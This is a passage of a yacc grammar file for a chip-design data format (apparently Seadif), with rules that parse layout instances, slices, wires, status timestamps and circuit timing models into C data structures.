hv.ver = atos ($5);
}
$$ = hv;
}
;
/*
* Library/Function/LogicImpl/LayoutImpl/LayInstance
* model-call of physical cell
*/
LayInstList : LBR LAYOUTINSTANCELIST
{
debug ("LBR LAYOUTINSTANCELIST");
sdfhavethisthing |= SDFLAYSLICE;
if (++sdfslicedepth == 1 && sdfstuff & SDFLAYSLICE)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFLAYSLICE && sdfwritethislay->slice)
{
sdfdodelayedcopy (0); /* flush */
dump_slice (sdfcopystream, sdfwritethislay->slice);
}
}
}
_LayInstList RBR
{
SLICEPTR sliptr;
if (--sdfslicedepth == 0 && sdfstuff & SDFLAYSLICE)
sdfcopytheinput = TRUE; /* resume copying */
debug ("_LayInstList RBR");
if (sdfwhat & SDFLAYSLICE)
{
NewSlice (sliptr);
sliptr->chld_type = SLICE_CHLD;
sliptr->chld.slice = $4; /* $4 is _LayInstList */
/* LayoutInstanceList is like a LayoutSlice without ordination. */
sliptr->ordination = CHAOS;
}
else
sliptr = &junkslice;
$$ = sliptr;
}
;
_LayInstList :
{
debug ("empty _LayInstList")
$$ = (SLICEPTR)NULL; /* NO list is NULL list, or what? */
}
| _LayInstList LayInstance
{
SLICEPTR sliptr;
debug ("_LayInstList LayInstance");
if (sdfwhat & SDFLAYSLICE)
{
/* Unfortunately we cannot link a LAYINST into the SLICE list. Therefore, we create this */
/* dummy SLICE which has only one child. The parent rule _LayoutImpl cleans up the mess. */
NewSlice (sliptr);
sliptr->ordination = CHAOS;
sliptr->chld_type = LAYINST_CHLD;
sliptr->chld.layinst = $2; /* Reference to the actual LayInstance. */
sliptr->next = $1; /* Link this dummy in front of the _LayInstList... */
}
else
sliptr = &junkslice;
$$ = sliptr; /* ...and return this new list. */
}
| _LayInstList LaySlice
{
debug ("_LayInstList LaySlice")
($2)->next = $1;
$$ = $2;
}
| _LayInstList LayInstList
{
debug ("_LayInstList LayInstList")
($2)->next = $1;
$$ = $2;
}
;
/*
* Library/Function/LogicImpl/LayoutImpl/LaySlice
* a slice
*/
LaySlice : LBR LAYOUTSLICE STRNG
{
debug ("LBR LAYOUTSLICE STRNG");
sdfhavethisthing |= SDFLAYSLICE;
if (++sdfslicedepth == 1 && sdfstuff & SDFLAYSLICE)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFLAYSLICE && sdfwritethislay->slice)
{
sdfdodelayedcopy (0); /* flush */
dump_slice (sdfcopystream, sdfwritethislay->slice);
}
}
}
_LaySlice RBR
{
SLICEPTR sliptr;
char *ordstring;
short ordination;
debug ("_LaySlice RBR");
if (sdfwhat & SDFLAYSLICE)
{
if (strcmp ("horizontal", ordstring = downcase ($3)) == 0)
ordination = HORIZONTAL;
else if (strcmp ("vertical", ordstring) == 0)
ordination = VERTICAL;
else if (strcmp ("chaos", ordstring) == 0)
ordination = CHAOS;
else
{
sdfreport (Warning, "%s\nOrdination '%s' not recognized for LayoutSlice statement"
" in layout (%s(%s(%s(%s))))\n",
FilNam, $3, layoutptr->name, layoutptr->circuit->name,
layoutptr->circuit->function->name,
layoutptr->circuit->function->library->name);
sdfreport (Warning, "I shall assume CHAOS if you don't mind. (Line %d)", yylineno);
ordination = CHAOS;
}
NewSlice (sliptr);
sliptr->ordination = ordination;
sliptr->chld_type = SLICE_CHLD;
sliptr->chld.slice = $5;
}
else
sliptr = &junkslice;
if (--sdfslicedepth == 0 && sdfstuff & SDFLAYSLICE)
sdfcopytheinput = TRUE; /* resume copying */
$$ = sliptr;
}
;
_LaySlice :
{
debug ("empty _LaySlice")
$$ = NULL; /* We need the NULL pointer. */
}
| _LaySlice LaySliceRef
{
debug ("_LaySlice LaySliceRef")
($2)->next = $1;
$$ = $2;
}
;
LaySliceRef : LayInstList
{
debug ("LayInstList")
$$ = $1;
}
| LayInstance
{
SLICEPTR sliptr;
debug ("LayInstance");
if (sdfwhat & SDFLAYSLICE)
{
/* Unfortunately we cannot link a LAYINST into the SLICE list. Therefore, we create this */
/* dummy SLICE which has only one child. The parent rule _LayoutImpl cleans up the mess. */
NewSlice (sliptr);
sliptr->ordination = CHAOS;
sliptr->chld_type = LAYINST_CHLD;
sliptr->chld.layinst = $1; /* Reference to the actual LayInstance. */
}
else
sliptr = &junkslice;
$$ = sliptr;
}
| LaySlice
{
debug ("LaySlice")
$$ = $1;
}
;
LayInstance : LBR LAYOUTINSTANCE STRNG
{
debug ("LBR LAYOUTINSTANCE STRNG");
if (sdfwhat & SDFLAYSLICE)
{
NewLayinst (layinstptr);
layinstptr->name = canonicstring ($3);
layinstptr->layout = HACK; /* We're going to be dirty again... */
}
else
layinstptr = &junklayinst;
}
_LayInstRef RBR
{
debug ("_LayInstRef RBR")
$$ = layinstptr;
}
;
_LayInstRef : LayCellRef
{
debug ("LayCellRef");
}
| _LayInstRef Orientation
{
debug ("_LayInstRef Orientation");
}
| _LayInstRef Comment
{
debug ("_LayInstRef Comment");
}
| _LayInstRef UserData
{
debug ("_LayInstRef UserData");
}
;
LayCellRef : LBR LAYOUTCELLREF STRNG _Stuff LayCirRef OptionalString RBR
{
/* Solve this reference later. Until then, we apologize for the inconvenience: */
if (sdfwhat & SDFLAYSLICE)
{
layinstptr->layout = (LAYOUTPTR)canonicstring ($3);
layinstptr->flag.p = (void *)$5; /* namelist: Cir,Fun,Lib */
/* We just ignore the OptionalString: we don't support attributes for layout
*
* layinstptr->attribute = canonicstring ($6);
*/
}
}
;
LayCirRef : LBR LAYOUTCIRREF STRNG _Stuff LayFunRef RBR
{
if (sdfwhat & SDFLAYSLICE)
{
NAMELISTPTR p;
NewNamelist (p);
p->name = canonicstring ($3);
p->next = ($5);
$$ = p;
}
else
$$ = (NAMELISTPTR)NULL;
}
| /* empty */
{
$$ = (NAMELISTPTR)NULL;
}
;
LayFunRef : LBR LAYOUTFUNREF STRNG _Stuff LayLibRef RBR
{
if (sdfwhat & SDFLAYSLICE)
{
NAMELISTPTR p;
NewNamelist (p);
p->name = canonicstring ($3);
p->next = ($5);
$$ = p;
}
else
$$ = (NAMELISTPTR)NULL;
}
| /* empty */
{
$$ = (NAMELISTPTR)NULL;
}
;
LayLibRef : LBR LAYOUTLIBREF STRNG _Stuff RBR
{
if (sdfwhat & SDFLAYSLICE)
{
NAMELISTPTR p;
NewNamelist (p);
p->name = canonicstring ($3);
p->next = NULL;
$$ = p;
}
else
$$ = (NAMELISTPTR)NULL;
}
| /* empty */
{
$$ = (NAMELISTPTR)NULL;
}
;
_Stuff :
{
debug ("empty _Stuff");
}
| _Stuff Comment
{
debug ("_Stuff Comment");
}
| _Stuff UserData
{
debug ("_Stuff UserData");
}
;
/*
* Library/Function/LogicImpl/LayoutImpl/LayContents/LayInstance/Orientation
* orientation info of model call of physical cell
* Contains a standard orientaion matrix
*/
Orientation : LBR ORIENTATION NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER RBR
{
debug ("LBR ORIENTATION NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER RBR");
if (sdfwhat & SDFLAYSLICE)
{
layinstptr->mtx[0] = atos ($3);
layinstptr->mtx[1] = atos ($4);
layinstptr->mtx[2] = atos ($5);
layinstptr->mtx[3] = atos ($6);
layinstptr->mtx[4] = atos ($7);
layinstptr->mtx[5] = atos ($8);
}
}
;
/*
* Library/Function/LogicImpl/LayoutImpl/WireList
* The grid-matrix wire map containing (part of) the actual layout of the wires in a layer.
*/
WireList : LBR WIRELIST
{
debug ("LBR WIRELIST");
sdfhavethisthing |= SDFLAYWIRE;
if (sdfstuff & SDFLAYWIRE)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFLAYWIRE && sdfwritethislay->wire)
{
sdfdodelayedcopy (0); /* flush */
dump_wirelist (sdfcopystream, sdfwritethislay->wire);
}
}
}
_WireList RBR
{
debug ("_WireList RBR");
if (sdfstuff & SDFLAYWIRE)
sdfcopytheinput = TRUE; /* resume copying */
$$ = wirelistptr = (sdfwhat&SDFLAYWIRE ? $4 : NULL);
}
;
_WireList :
{
debug ("empty _WireList")
$$ = NULL;
}
| _WireList Wire
{
debug ("_WireList Wire")
($2)->next = $1;
$$ = $2;
}
;
Wire : LBR WIRETOKEN NUMBER NUMBER NUMBER NUMBER NUMBER RBR
{
debug ("LBR WIRETOKEN WireLayer");
if (sdfwhat & SDFLAYWIRE)
{
NewWire (wireptr);
wireptr->layer = atos ($3);
wireptr->crd[XL] = atos ($4);
wireptr->crd[XR] = atos ($5);
wireptr->crd[YB] = atos ($6);
wireptr->crd[YT] = atos ($7);
wireptr->next = NULL;
}
else
wireptr = &junkwire;
$$ = wireptr;
}
;
LibStatus : LBR STATUSTOKEN
{
debug ("LBR STATUSTOKEN");
sdfhavethisthing |= SDFLIBSTAT;
if (makeindex)
{
if (sdffunislastthinginlib == SDF_LETS_KEEP_IT_LIKE_THIS)
/* will not be able to efficiently parse this lib */
sdffunislastthinginlib = SDF_LOST_CAUSE;
}
if (sdfstuff & SDFLIBSTAT)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFLIBSTAT && sdfwritethislib->status)
{
sdfdodelayedcopy (0); /* flush */
dump_status (sdfcopystream, sdfwritethislib->status);
}
}
if (sdfwhat & SDFLIBSTAT)
{
NewStatus (statusptr);
junkstat = FALSE;
}
else
{
statusptr = NULL;
junkstat = TRUE;
}
}
_Status RBR
{
debug ("_Status RBR")
if (sdfstuff & SDFLIBSTAT)
sdfcopytheinput = TRUE; /* resume copying */
$$ = statusptr;
}
;
SeaStatus : LBR STATUSTOKEN
{
debug ("LBR STATUSTOKEN")
if (!makeindex)
{
NewStatus (statusptr);
junkstat = FALSE;
}
else
{
statusptr = NULL;
junkstat = TRUE;
}
}
_Status RBR
{
debug ("_Status RBR")
$$ = statusptr;
}
;
CirStatus : LBR STATUSTOKEN
{
debug ("LBR STATUSTOKEN");
sdfhavethisthing |= SDFCIRSTAT;
if (makeindex)
{
if (sdflayislastthingincir == SDF_LETS_KEEP_IT_LIKE_THIS)
/* will not be able to efficiently parse this circuit */
sdflayislastthingincir = SDF_LOST_CAUSE;
}
if (sdfstuff & SDFCIRSTAT)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFCIRSTAT && sdfwritethiscir->status)
{
sdfdodelayedcopy (0); /* flush */
dump_status (sdfcopystream, sdfwritethiscir->status);
}
}
if (sdfwhat & SDFCIRSTAT)
{
NewStatus (statusptr);
junkstat = FALSE;
}
else
{
statusptr = NULL;
junkstat = TRUE;
}
}
_Status RBR
{
debug ("_Status RBR")
if (sdfstuff & SDFCIRSTAT)
sdfcopytheinput = TRUE; /* resume copying */
$$ = statusptr;
}
;
LayStatus : LBR STATUSTOKEN
{
debug ("LBR STATUSTOKEN");
sdfhavethisthing |= SDFLAYSTAT;
if (sdfstuff & SDFLAYSTAT)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFLAYSTAT && sdfwritethislay->status)
{
sdfdodelayedcopy (0); /* flush */
dump_status (sdfcopystream, sdfwritethislay->status);
}
}
if (sdfwhat & SDFLAYSTAT)
{
NewStatus (statusptr);
junkstat = FALSE;
}
else
{
statusptr = NULL;
junkstat = TRUE;
}
}
_Status RBR
{
debug ("_Status RBR")
if (sdfstuff & SDFLAYSTAT)
sdfcopytheinput = TRUE; /* resume copying */
$$ = statusptr;
}
;
FunStatus : LBR STATUSTOKEN
{
debug ("LBR STATUSTOKEN");
sdfhavethisthing |= SDFFUNSTAT;
if (makeindex)
{
if (sdfcirislastthinginfun == SDF_LETS_KEEP_IT_LIKE_THIS)
/* will not be able to efficiently parse this function */
sdfcirislastthinginfun = SDF_LOST_CAUSE;
}
if (sdfstuff & SDFFUNSTAT)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFFUNSTAT && sdfwritethisfun->status)
{
sdfdodelayedcopy (0); /* flush */
dump_status (sdfcopystream, sdfwritethisfun->status);
}
}
if (sdfwhat & SDFFUNSTAT)
{
NewStatus (statusptr);
junkstat = FALSE;
}
else
{
statusptr = NULL;
junkstat = TRUE;
}
}
_Status RBR
{
debug ("_Status RBR")
if (sdfstuff & SDFFUNSTAT)
sdfcopytheinput = TRUE; /* resume copying */
$$ = statusptr;
}
;
/*
* BASIC functions
*/
_Status :
{
debug ("empty _Status");
}
| _Status Written
{
debug ("_Status Written");
}
/* This violates Edif, but what the hack: */
| _Status _Written
{
debug ("_Status _Written");
}
| _Status Comment
{
debug ("_Status Comment");
}
| _Status UserData
{
debug ("_Status UserData");
}
;
Written : LBR WRITTEN _Written RBR
{
debug ("LBR WRITTEN _Written RBR");
}
;
_Written : /* empty */
{
debug ("_Written empty");
}
| _Written TimeStamp
{
debug ("TimeStamp");
}
| _Written Author
{
debug ("_Written Author");
}
| _Written Program
{
debug ("_Written Program");
}
/* | _Written DataOrigin not implemented */
/* | _Written Property not implemented */
| _Written Comment
{
debug ("_Written Comment");
}
| _Written UserData
{
debug ("_Written UserData");
}
;
/* year month day hour minute second */
TimeStamp : LBR TIMESTAMP NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER RBR
{
debug ("LBR TIMESTAMP NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER RBR")
if (!junkstat)
{
time_t thetime = 0;
int yy = atos ($3);
int mo = atos ($4);
int dd = atos ($5);
int hh = atos ($6);
int mi = atos ($7);
int ss = atos ($8);
if (!yy && !mo && !dd && !hh && !mi && !ss) ; /* special case */
else if (!sdftimecvt (&thetime, yy, mo, dd, hh, mi, ss)) {
sdfreport (Error, "%s\nI found an error in the TimeStamp on line %d:\n"
"%s. I will assume (TimeStamp 0 0 0 0 0 0)\n", FilNam, yylineno, sdftimecvterror);
}
statusptr->timestamp = thetime;
}
}
;
Author : LBR AUTHOR /* followed by ANYTHING [...] RBR */
{
debug ("LBR AUTHOR /* followed by ANYTHING [...] RBR */")
if (!junkstat)
statusptr->author = canonicstring (copythisthing ());
else
skipthisthing ();
}
;
Program : LBR PROGRAM /* followed by ANYTHING [...] RBR */
{
debug ("LBR PROGRAM /* followed by ANYTHING [...] RBR */")
if (!junkstat)
statusptr->program = canonicstring (copythisthing ());
else
skipthisthing ();
}
;
UserData : LBR STRNG /* followed by ANYTHING [...] RBR */
{
debug ("LBR STRNG /* followed by ANYTHING [...] RBR */")
sdfreport (Warning, "%s\nI did not recognize your statement '%s' at line %d ...,\n", FilNam, $2, yylineno);
skipthisthing ();
sdfreport (Warning, "... so it seemed better to skip everything up till line %d.\n", yylineno);
}
;
Comment : LBR COMMENT /* followed by ANYTHING [...] RBR */
{
debug ("LBR COMMENT /* followed by ANYTHING [...] RBR */")
skipthisthing ();
}
;
LBR : LBRTOKEN
{
sdfleftparenthesis = sdffilepos; /* record the file position of the most recent '(' */
}
;
Attribute : LBR ATTRIBUTE OptionalString RBR
{
$$ = $3;
}
;
/* IK, ... here parsing timing structures */
Timing : LBR TIMINGTOKEN STRNG
{
debug ("LBR TIMINGTOKEN STRNG");
sdfhavethisthing |= SDFCIRTM;
if (makeindex)
{
if (sdflayislastthingincir == SDF_LETS_KEEP_IT_LIKE_THIS)
/* Will not be able to efficiently parse this circuit */
sdflayislastthingincir = SDF_LOST_CAUSE;
}
if (sdfstuff & SDFCIRTM)
{
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFCIRTM && sdfwritethiscir->timing)
{
sdfdodelayedcopy (0); /* flush */
dump_timing (sdfcopystream, sdfwritethiscir->timing);
}
}
if (sdfwhat & SDFCIRTM)
{
NewTiming (timingPtr);
timingPtr->name = canonicstring ($3);
junktm = FALSE;
}
else
{
timingPtr = &junktiming;
timingPtr->name = NULL;
junktm = TRUE;
}
timingPtr->circuit = circuitptr;
if (sdfverbose && sdfwhat == SDFCIRTM)
fprintf (stderr, "............(Timing \"%s\")\n", timingPtr->name);
}
_Timing RBR
{
debug ("_Timing RBR")
if (sdfstuff & SDFCIRTM)
sdfcopytheinput = TRUE; /* resume copying */
$$ = (sdfwhat & SDFCIRTM) ? timingPtr : NULL;
}
;
_Timing :
{
debug ("empty _Timing")
$$ = timingPtr;
}
| _Timing DelAsg
{
debug ("_Timing DelAsg")
($2)->next = timingPtr->delays;
timingPtr->delays = $2;
$$ = timingPtr;
}
| _Timing TimeCost
{
debug ("_Timing TimeCost")
timingPtr->timeCost = $2;
$$ = timingPtr;
}
| _Timing TPathList
{
debug ("_Timing TPathList")
timingPtr->tPaths = $2;
$$ = timingPtr;
}
| _Timing NetModList
{
debug ("_Timing NetModList")
timingPtr->netmods = $2;
$$ = timingPtr;
}
| _Timing TimeTermList
{
debug ("_Timing TimeTermList")
timingPtr->t_terms = $2;
$$ = timingPtr;
}
| _Timing TmModInstList
{
debug ("_Timing TmModInstList")
timingPtr->tminstlist = $2;
$$ = timingPtr;
}
| _Timing TmStatus
{
debug ("_Timing Status")
timingPtr->status = $2;
$$ = timingPtr;
}
| _Timing Comment
{
$$ = timingPtr;
}
| _Timing UserData
{
$$ = timingPtr;
}
;
TimeTermList : LBR TIMETERMLISTTOKEN
{
debug ("LBR TIMETERMLIST")
ttermlistPtr = NULL;
}
_TimeTermList RBR
{
debug ("_TimeTermList RBR")
$$ = ttermlistPtr;
}
;
TmStatus : LBR STATUSTOKEN
{
debug ("LBR STATUSTOKEN");
if (sdfwhat & SDFCIRTM)
{
NewStatus (statusptr);
junkstat = FALSE;
}
else
{
statusptr = NULL;
junkstat = TRUE;
}
}
_Status RBR
{
debug ("_Status RBR")
$$ = statusptr;
}
;
_TimeTermList :
{
debug ("empty _TimeTermList")
$$ = ttermlistPtr;
}
| _TimeTermList TimeTerm
{
debug ("_TimeTermList TimeTerm")
($2)->next = ttermlistPtr;
ttermlistPtr = $2;
$$ = ttermlistPtr;
}
;
TimeTerm : LBR TIMETERMTOKEN STRNG NUMBER
{
debug ("LBR TIMETERMTOKEN STRNG NUMBER")
if (sdfwhat & SDFCIRTM)
{
NewTimeTerm (timetermPtr);
timetermPtr->termreflist = NULL; /* some initialization */
timetermPtr->cirportlist = NULL;
timetermPtr->next = NULL;
timetermPtr->outputTime = -1.0;
timetermPtr->reqInputTime = -1.0;
timetermPtr->load = -1.0;
timetermPtr->drive = -1.0;
timetermPtr->name = canonicstring ($3);
timetermPtr->type = (tTermType)atos ($4);
if (timetermPtr->type != InputTTerm &&
timetermPtr->type != OutputTTerm &&
timetermPtr->type != InternalRegTTerm &&
timetermPtr->type != InternalClkTTerm &&
timetermPtr->type != BiDirPortTTerm
)
{
sdfreport (Warning, "%s\nWrong time terminal type - default"
" InputTTerm assumed - on line %d:\n", FilNam, yylineno);
timetermPtr->type = InputTTerm;
}
}
else
{
timetermPtr = &junktimeterm;
}
timetermPtr->timing = timingPtr;
}
_TimeTerm RBR
{
if (!timetermPtr->termreflist && !timetermPtr->cirportlist)
sdfreport (Warning, "%s\nNo time terminal or cirport references"
" specified - on line %d:\n", FilNam, yylineno);
debug ("_TimeTerm RBR")
$$ = timetermPtr;
}
;
_TimeTerm :
{
debug ("empty _TimeTerm")
$$ = timetermPtr;
}
| _TimeTerm TimeTermRef
{
debug ("_TimeTerm TimeTermRef")
($2)->next = timetermPtr->termreflist;
timetermPtr->termreflist = $2;
if (!($2)->inst)
sdfreport (Warning, "%s\nTiming model instance for this terminal"
" undefined - on line %d:\n", FilNam, yylineno);
$$ = timetermPtr;
}
| _TimeTerm CirPortRef
{
debug ("_TimeTerm CirPortRef")
($2)->next = timetermPtr->cirportlist;
timetermPtr->cirportlist = $2;
$$ = timetermPtr;
}
| _TimeTerm TimeCost
{
debug ("_TimeTerm TimeCost")
timetermPtr->timecost = $2;
$$ = timetermPtr;
}
| _TimeTerm InputLoad
{
debug ("_TimeTerm InputLoad")
timetermPtr->load = $2;
$$ = timetermPtr;
}
| _TimeTerm InputDrive
{
debug ("_TimeTerm InputDrive")
timetermPtr->drive = $2;
$$ = timetermPtr;
}
| _TimeTerm ReqInputTime
{
debug ("_TimeTerm ReqInputTime")
timetermPtr->reqInputTime = $2;
$$ = timetermPtr;
}
| _TimeTerm OutputTime
{
debug ("_TimeTerm OutputTime")
timetermPtr->outputTime = $2;
$$ = timetermPtr;
}
;
CirPortRef : LBR CIRPORTREFTOKEN STRNG RBR
{
debug ("LBR CIRPORTREFTOKEN STRNG RBR")
if (sdfwhat & SDFCIRTM)
{
NewCirportref (cirportrefPtr);
cirportrefPtr->cirport = (CIRPORTPTR)canonicstring ($3);
}
else
{
cirportrefPtr = &junkcirportref;
}
$$ = cirportrefPtr;
}
;
TimeTermRef : LBR TIMETERMREFTOKEN
{
debug ("LBR TIMETERMREFTOKEN")
if (sdfwhat & SDFCIRTM)
{
NewTimeTermRef (timetermrefPtr);
timetermrefPtr->inst = NULL;
}
else
{
timetermrefPtr = &junktimetermref;
}
}
_TimeTermRef RBR
{
debug ("_TimeTermRef RBR")
$$ = timetermrefPtr;
}
;
/* This construct is because a terminal can be referenced in two ways
1. First as a current level timing terminal
2. As a timing terminal of timing model instance - then it should also
contain information about timing model instance that it belongs to
*/
_TimeTermRef : STRNG
{
debug ("STRNG")
timetermrefPtr->term = (TIMETERMPTR)canonicstring ($1);
timetermrefPtr->inst = NULL;
$$ = timetermrefPtr;
}
| STRNG TmModInstRef
{
debug ("STRNG TmModInstRef")
timetermrefPtr->term = (TIMETERMPTR)canonicstring ($1);
$$ = timetermrefPtr;
}
;
TmModInstRef : LBR TMMODINSTREFTOKEN STRNG RBR
{
timetermrefPtr->inst = (TMMODINSTPTR)canonicstring ($3);
$$ = timetermrefPtr;
}
;
ReqInputTime : LBR REQINPUTTIMETOKEN STRNG RBR
{
debug (" LBR REQINPUTTIMETOKEN STRNG RBR")
$$ = atof ($3);
}
;
OutputTime : LBR OUTPUTTIMETOKEN STRNG RBR
{
debug (" LBR OUTPUTTIMETOKEN STRNG RBR")
$$ = atof ($3);
}
;
InputLoad : LBR INPUTLOADTOKEN STRNG RBR
{
debug (" LBR INPUTLOADTOKEN STRNG RBR")
if (timetermPtr->type != InputTTerm &&
timetermPtr->type != OutputTTerm &&
timetermPtr->type != BiDirPortTTerm )
sdfreport (Warning, "%s\nThis is neither an input "
"nor output time terminal - on line %d:\n", FilNam, yylineno);
$$ = atof ($3);
}
;
InputDrive : LBR INPUTDRIVETOKEN STRNG RBR
{
debug (" LBR INPUTDRIVETOKEN STRNG RBR")
if (timetermPtr->type != InputTTerm &&
timetermPtr->type != BiDirPortTTerm
)
sdfreport (Warning, "%s\nThis is not an input "
"time terminal - on line %d:\n", FilNam, yylineno);
$$ = atof ($3);
}
;
TmModInstList : LBR TMMODINSTLISTTOKEN
{
debug ("LBR TMMODINSTLISTTOKEN")
tmmodinstlistPtr = NULL;
}
_TmModInstList RBR
{
debug ("_TmModInstList RBR")
$$ = tmmodinstlistPtr;
}
;
_TmModInstList :
{
debug ("_TmModInstList - empty ")
$$ = tmmodinstlistPtr;
}
| _TmModInstList TmModInst
{
debug ("_TmModInstList TmModInst")
($2)->next = tmmodinstlistPtr;
tmmodinstlistPtr = $2;
$$ = tmmodinstlistPtr;
}
;
TmModInst : LBR TMMODINSTTOKEN STRNG CInstRef TimingRef RBR
{
debug ("LBR TMMODINSTTOKEN STRNG CInstRef TimingRef RBR")
if (sdfwhat & SDFCIRTM)
{
NewTmModInst (tmmodinstPtr);
tmmodinstPtr->name = canonicstring ($3);
tmmodinstPtr->cirinst = (CIRINSTPTR)$4;
tmmodinstPtr->timing = (TIMINGPTR)$5; /* returned type will be string */
}
else
tmmodinstPtr = &junktmmodinst;
tmmodinstPtr->parent = timingPtr;
$$ = tmmodinstPtr;
}
;
TimingRef : LBR TIMINGREFTOKEN STRNG RBR
{
debug ("LBR TIMINGREFTOKEN STRNG RBR")
$$ = canonicstring ($3);
}
;
CInstRef : LBR CINSTREFTOKEN STRNG RBR
{
debug ("LBR TIMINGREFTOKEN STRNG RBR")
$$ = canonicstring ($3);
}
;
NetModList : LBR NETMODLISTTOKEN
{
debug ("LBR NETMODLISTTOKEN")
netmodlistPtr = NULL;
}
_NetModList RBR
{
debug ("_NetModList RBR")
$$ = netmodlistPtr;
}
;
_NetModList :
{
debug ("empty _NetModList")
$$ = netmodlistPtr;
}
| _NetModList NetMod
{
debug ("_NetModList NetMod")
($2)->next = netmodlistPtr;
netmodlistPtr = $2;
$$ = netmodlistPtr;
}
;
NetMod : LBR NETMODTOKEN STRNG
{
debug ("LBR NETMODTOKEN")
if (sdfwhat & SDFCIRTM)
{
NewNetMod (netmodPtr);
netmodPtr->name = canonicstring ($3);
netmodPtr->netlist = NULL;
netmodPtr->buslist = NULL;
}
else
netmodPtr = &junknetmod;
}
_NetMod TimeCost RBR
{
netmodPtr->cost = $6;
if (!netmodPtr->netlist && !netmodPtr->buslist)
sdfreport (Warning, "%s\nNo references to nets or buses for net "
"model defined - on line %d:\n", FilNam, yylineno);
$$ = netmodPtr;
}
;
_NetMod :
{
debug ("_NetMod empty")
$$ = netmodPtr;
}
| _NetMod NetRef
{
debug ("_NetMod NetRef")
($2)->next = netmodPtr->netlist;
netmodPtr->netlist = $2;
$$ = netmodPtr;
}
| _NetMod BusRef
{
debug ("_NetMod BusRef")
($2)->next = netmodPtr->buslist;
netmodPtr->buslist = $2;
$$ = netmodPtr;
}
;
BusRef : LBR BUSREFTOKEN STRNG RBR
{
BUSREFPTR busref = NULL;
debug ("LBR BUSREFTOKENTOKEN STRNG RBR")
if (sdfwhat & SDFCIRTM)
{
NewBusRef (busref);
}
/* NASTY HACK, we solve this reference later: */
busref->bus = (BUSPTR)canonicstring ($3);
$$ = busref;
}
;
TPathList : LBR TPATHLISTTOKEN
{
debug ("LBR TPATHLIST")
tpathlistPtr = NULL;
$<tpath>$ = tpathlistPtr;
}
_TPathList RBR
{
$$ = tpathlistPtr;
}
;
_TPathList :
{
debug ("empty _TPathList ")
$$ = tpathlistPtr;
}
| _TPathList TPath
{
debug ("_TPathList TPath")
($2)->next = tpathlistPtr;
tpathlistPtr = $2;
$$ = tpathlistPtr;
}
;
TPath : LBR TPATHTOKEN STRNG
{
debug ("LBR TPATHTOKEN STRNG")
if (sdfwhat & SDFCIRTM)
{
NewTPath (tpathPtr);
tpathPtr->name = canonicstring ($3);
}
else
{
tpathPtr = &junktpath;
}
tpathPtr->parent = timingPtr;
$<tpath>$ = tpathPtr;
}
StartTermList EndTermList TimeCost RBR
{
debug ("StartTermList EndTermList TimeCost RBR")
tpathPtr->startTermList = $5;
tpathPtr->endTermList = $6;
if (!tpathPtr->startTermList || !tpathPtr->endTermList)
sdfreport (Warning, "%s\nMust define both start and end terminals "
"for TPath - line %d:\n", FilNam, yylineno);
tpathPtr->timeCost = $7;
$$ = tpathPtr;
}
;
StartTermList : LBR STARTTERMLISTTOKEN
{
debug ("LBR STARTTERMLISTTOKEN")
starttermlistPtr = NULL;
$<timetermref>$ = starttermlistPtr;
}
StartTermList_ RBR
{
debug ("StartTermList_ RBR")
$$ = starttermlistPtr;
}
;
StartTermList_ :
{
debug ("empty StartTermList_")
$$ = starttermlistPtr;
}
| StartTermList_ TimeTermRef
{
debug ("StartTermList_ TimeTermRef")
if (($2)->inst)
sdfreport (Warning, "%s\nOnly current level timing terminals references "
"allowed - on line %d:\n", FilNam, yylineno);
($2)->next = starttermlistPtr;
starttermlistPtr = $2;
$$ = starttermlistPtr;
}
;
EndTermList : LBR ENDTERMLISTTOKEN
{
debug ("LBR STARTTERMLISTTOKEN")
endtermlistPtr = NULL;
$<timetermref>$ = endtermlistPtr;
}
EndTermList_ RBR
{
debug ("EndTermList_ RBR")
$$ = endtermlistPtr;
}
;
EndTermList_ :
{
debug ("empty EndTermList_")
$$ = endtermlistPtr;
}
| EndTermList_ TimeTermRef
{
debug ("EndTermList_ TimeTermRef")
if (($2)->inst)
sdfreport (Warning, "%s\nOnly current level timing terminals references "
"allowed - on line %d:\n", FilNam, yylineno);
($2)->next = endtermlistPtr;
endtermlistPtr = $2;
$$ = endtermlistPtr;
}
;
TimeCost : LBR TIMECOSTTOKEN
{
debug ("LBR TIMECOSTTOKEN")
if (sdfwhat & SDFCIRTM)
{
NewTimeCost (timecostPtr);
timecostPtr->p_num = 0;
}
else
timecostPtr = &junktimecost;
$<timecost>$ = timecostPtr;
}
_TimeCost RBR
{
debug ("_TimeCost RBR")
/* if (timecostPtr->p_num == 0)
sdfreport (Warning, "%s\nMust define at least one point - on line %d:\n", FilNam, yylineno);
*/
$$ = timecostPtr;
}
;
_TimeCost :
{
debug ("empty _TimeCost")
$$ = timecostPtr;
}
| _TimeCost TcPoint
{
debug ("_TimeCost TcPoint");
timecostPtr->p_num++;
($2)->next = timecostPtr->points;
timecostPtr->points = $2;
$$ = timecostPtr;
}
;
TcPoint : LBR TCPOINTTOKEN STRNG NUMBER NUMBER STRNG RBR
{
debug ("LBR TCPOINTTOKEN STRNG NUMBER NUMBER STRNG RBR")
if (sdfwhat & SDFCIRTM)
{
NewTcPoint (tcpointPtr);
tcpointPtr->name = canonicstring ($3);
tcpointPtr->delay = atos ($4);
tcpointPtr->cost = atos ($5);
tcpointPtr->wayOfImplementing = canonicstring ($6);
}
else
tcpointPtr = &junktcpoint;
$$ = tcpointPtr;
}
;
DelAsg : LBR DELASGTOKEN STRNG
{
debug ("LBR DELASGTOKEN STRNG")
if (sdfwhat & SDFCIRTM)
{
NewDelAsg (delasgPtr);
delasgPtr->name = canonicstring ($3);
delasgPtr->timing = timingPtr;
delasgPtr->clockCycle = -1;
}
else
delasgPtr = &junkdelasg;
$<delasg>$ = delasgPtr;
}
_DelAsg RBR
{
